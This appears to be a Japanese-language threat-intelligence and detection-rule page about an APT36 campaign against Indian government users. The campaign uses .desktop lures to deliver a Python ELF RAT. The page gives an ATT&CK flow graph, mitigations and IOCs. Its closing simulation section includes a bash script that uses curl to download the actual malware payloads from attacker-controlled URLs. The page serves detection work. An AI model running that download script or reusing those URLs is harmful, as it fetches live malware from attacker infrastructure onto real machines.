APT36、インド政府機関に対してPython ELFマルウェアを配備
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
APT36(トランスペアレントトライブ)は、インド政府のユーザーに対して悪意のあるLinux .desktopショートカットファイルを配布するスピアフィッシングキャンペーンを行いました。これらのランチャーは、攻撃者が制御するサーバーからPythonベースのELF RATであるswcbcを取得および実行します。このマルウェアは、ユーザーレベルのsystemdサービスを通じて永続性を維持し、HTTPを介してC2と通信してデータを抽出し、コマンドを実行します。このキャンペーンは、Linux環境で効果的に運用するグループの能力が向上していることを強調しています。
調査
調査では、最初の.zip添付ファイルから.desktopランチャー、デコイPDF、および攻撃者が制御するIPアドレスからダウンロードされた2つのペイロード(swcbc ELFバイナリおよびswcbc.shスクリプト)へのチェーンを追跡しました。分析の結果、ELFバイナリはPyInstallerでパックされたPython RATであり、システムのプロファイリング、ファイルのアップロード/ダウンロード、スクリーンキャプチャ、自己削除の機能を備えていることが示されました。永続性は、ユーザーの構成ディレクトリ内にsystemdサービスを登録することによって実装されます。
緩和策
推奨される防御策には、メールで受信した.desktop、.sh、およびELFバイナリの実行をブロックし、疑わしい添付ファイルのサンドボックス実行を強制することが含まれます。/tmpのようなワールドライト可能なパスからの自動実行を無効にし、可能な場合はnoexecマウントオプションを適用します。特定された悪意のあるドメインおよびIPへの接続について、DNSおよびHTTPトラフィックを監視します。curlやLibreOfficeのようなツールに厳格なアプリケーション制御を適用します。
対応
活動が検出された場合は、影響を受けたLinuxホストを分離し、悪意のあるアーティファクトやsystemdサービスユニットを収集し、隠しディレクトリ~/.swcbcを削除します。フォレンジックツールを使用してホストのユニークな識別子を抽出し、進行中のC2セッションを終了します。観測されたIOCで検出内容を更新し、広範囲の環境で同様のパターンを積極的に狩り出します。
graph TB %% Class Definitions classDef action fill:#99ccff classDef artifact fill:#ffdd88 classDef malware fill:#ff9999 classDef process fill:#c2f0c2 %% Nodes – Actions (MITRE Techniques) initial_access_phishing[“<b>Action</b> – <b>T1566 フィッシング</b>: スピアフィッシング添付ファイル<br /><b>Description</b>: 攻撃者が悪意のある .desktop ショートカットを標的にメール送信する。”] class initial_access_phishing action user_execution_file[“<b>Action</b> – <b>T1204.002 ユーザー実行</b>: 悪意のあるファイル<br /><b>Description</b>: 被害者が .desktop ファイルを開き、埋め込まれたスクリプトが実行される。”] class user_execution_file action obfuscation[“<b>Action</b> – <b>T1027 難読化されたファイル</b>: データエンコーディング<br /><b>Description</b>: スクリプトは Base64 エンコード文字列として保存され、ELF ペイロードは PyInstaller でパックされている。”] class obfuscation action masquerading[“<b>Action</b> – <b>T1036 なりすまし</b><br /><b>Description</b>: .desktop ショートカットが正規の業務文書を装い、デコイの PDF を開く。”] class masquerading action ingress_tool_transfer[“<b>Action</b> – <b>T1105 ツールの侵入転送</b><br /><b>Description</b>: スクリプトがリモート HTTP サーバーから ELF バイナリとシェルスクリプトをダウンロードする。”] class ingress_tool_transfer action execution_unix_shell[“<b>Action</b> – <b>T1059 コマンドおよびスクリプトインタープリタ</b>: Unix シェル<br /><b>Description</b>: ダウンローダーが実行権限を付与し、バックグラウンドでペイロードを実行する。”] class execution_unix_shell action persistence_systemd[“<b>Action</b> – <b>T1543 システムプロセスの作成または変更</b><br /><b>Description</b>: 悪意のある systemd ユーザーサービスが作成・有効化され、ログイン時に起動する。”] class persistence_systemd action persistence_boot_script[“<b>Action</b> – <b>T1037.004 ブートまたはログオン初期化スクリプト</b><br /><b>Description</b>: ユーザーレベルの systemd サービスが永続化のための起動/ログオンスクリプトとして機能する。”] class persistence_boot_script action discovery_system_info[“<b>Action</b> – <b>T1082 システム情報探索</b><br /><b>Description</b>: ELF RAT が OS バージョン、ホスト名、ユーザー名、MAC アドレスを収集する。”] class discovery_system_info action discovery_file_dir[“<b>Action</b> – <b>T1083 ファイルおよびディレクトリ探索</b><br /><b>Description</b>: マルウェアがファイル流出対象を特定するためにファイルシステムを列挙する。”] class discovery_file_dir action command_control_app_layer[“<b>Action</b> – <b>T1071 アプリケーション層プロトコル</b><br /><b>Description</b>: インプラントが HTTP GET/POST を使用して C2 サーバーと通信する。”] class command_control_app_layer action data_encoding[“<b>Action</b> – <b>T1132 データエンコーディング</b><br /><b>Description</b>: C2 ペイロードは内容を隠蔽するため Base64 エンコードされる。”] class data_encoding action collection_local_data[“<b>Action</b> – <b>T1005 ローカルシステムからのデータ</b><br /><b>Description</b>: RAT が選択したファイルを ZIP アーカイブにまとめてアップロード準備を行う。”] class collection_local_data action exfiltration_http[“<b>Action</b> – <b>T1005 ローカルシステムからのデータ(流出)</b><br /><b>Description</b>: アーカイブが HTTP POST リクエストを介して攻撃者に送信される。”] class exfiltration_http action %% Nodes – Artifacts / Malware file_desktop[“<b>Artifact</b> – <b>.desktop ショートカット</b><br /><b>File</b>: Analysis_Proc_Report_Gem.desktop<br /><b>Purpose</b>: Base64 スクリプト実行をトリガーする。”] class file_desktop artifact script_base64[“<b>Malware</b> – <b>Base64 スクリプト</b><br /><b>Content</b>: ダウンローダーロジックをデコードして実行する。”] class script_base64 malware elf_payload[“<b>Malware</b> – <b>ELF バイナリ(swcbc)</b><br /><b>Type</b>: PyInstaller により配布されるパック済み RAT。”] class elf_payload malware shell_script_payload[“<b>Malware</b> – <b>シェルスクリプト(swcbc.sh)</b><br /><b>Purpose</b>: 永続化を設定するための補助スクリプト。”] class shell_script_payload malware systemd_service[“<b>Artifact</b> – <b>Systemd サービスファイル</b><br /><b>Location</b>: ~/.config/systemd/user/swcbc.service<br /><b>Effect</b>: ユーザーログイン時に ELF ペイロードを実行する。”] class systemd_service artifact %% Edges – Attack Flow initial_access_phishing –>|配信する| file_desktop file_desktop –>|呼び出す| script_base64 script_base64 –>|難読化する| obfuscation script_base64 –>|なりすます| masquerading script_base64 –>|ダウンロードする| elf_payload script_base64 –>|ダウンロードする| shell_script_payload ingress_tool_transfer –>|ダウンロードを支援| elf_payload ingress_tool_transfer –>|ダウンロードを支援| shell_script_payload script_base64 –>|実行する(経由)| execution_unix_shell elf_payload –>|実行される| process_elf[(“ELF プロセス”)] class process_elf process process_elf –>|確立する| command_control_app_layer process_elf –>|収集する(システム情報)| discovery_system_info process_elf –>|列挙する(ファイル)| discovery_file_dir process_elf –>|アーカイブする| collection_local_data collection_local_data –>|エンコードする| data_encoding collection_local_data –>|流出させる| exfiltration_http exfiltration_http –>|使用する| command_control_app_layer shell_script_payload –>|作成する| systemd_service systemd_service –>|有効化する| persistence_systemd persistence_systemd –>|提供する| persistence_boot_script persistence_boot_script –>|ログイン時の実行を保証| execution_unix_shell
攻撃の流れ
検出
APT36 悪意のあるURLダウンロード検出 [プロキシ]
表示
APT36 悪意のある.desktopおよびシェルスクリプトの実行 [Linuxプロセス作成]
表示
検出するIOC(SourceIP):インド政府エンティティを標的にしたAPT36 PythonベースのELFマルウェア
表示
検出するIOC(DestinationIP):インド政府エンティティを標的にしたAPT36 PythonベースのELFマルウェア
表示
検出するIOC(HashSha256):インド政府エンティティを標的にしたAPT36 PythonベースのELFマルウェア
表示
シミュレーション実行
前提条件:Telemetry & Baseline Pre‑flight Checkを通過している必要があります。
合理:このセクションは、検出ルールをトリガーするように設計された敵対者の技術(TTP)の正確な実行を詳述します。コマンドと物語は、特定されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診を招きます。
-
攻撃の物語とコマンド:
APT‑36のオペレーターは、侵害されたインフラストラクチャ上に3つのペイロードをホスティングし、それらのURLをフィッシングメールで配布します。被害者は、企業プロキシを経由するように設定されたウェブブラウザーを使用して各リンクをクリックします。プロキシは各GETリクエストをログに記録し、ルールに一致するエントリを生成しますurl|allリスト。ペイロードは以下の通りです:- 生のELFバイナリ (
swcbc) HTTPで配信される。 - シェルスクリプト (
swcbc.sh) 実行するとELFをインストールします。 - デコイPDF (
Analysis_Proc_Report_Gem.pdf) ユーザーがファイルを開くことを促すために設計され、悪意のあるELFがバックグラウンドで実行されます。
- 生のELFバイナリ (
-
回帰テストスクリプト:
#!/usr/bin/env bash # APT‑36悪意のあるURLダウンロードシミュレーション – Sigmaルールをトリガーします。 set -euo pipefail # 悪意のあるURLを定義します(Sigmaルールからの正確な文字列) urls=( "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc" "http://185.235.137.90:32587/uploads/yash10_52228826567/swcbc.sh" "https://lionsdenim.xyz/in/Analysis_Proc_Report_Gem.pdf" ) # 企業プロキシを通じて各ペイロードをダウンロードします。 # 環境変数http_proxy/https_proxyがプロキシを指していると仮定します。 for u in "${urls[@]}"; do echo "[*] $u をプロキシ経由でダウンロード中..." curl -s -O "$u" done echo "[+] すべての悪意のあるファイルがダウンロードされました。プロキシログで一致するURLを確認してください。"スクリプトを
apt36_simulation.shとして保存し、実行可能にします (chmod +x apt36_simulation.sh)、保護されたワークステーションで実行します。 -
クリーンアップコマンド:
#!/usr/bin/env bash # シミュレーションによって作成されたすべてのファイルを削除します rm -f swcbc swcbc.sh Analysis_Proc_Report_Gem.pdf echo "[+] クリーンアップ完了。"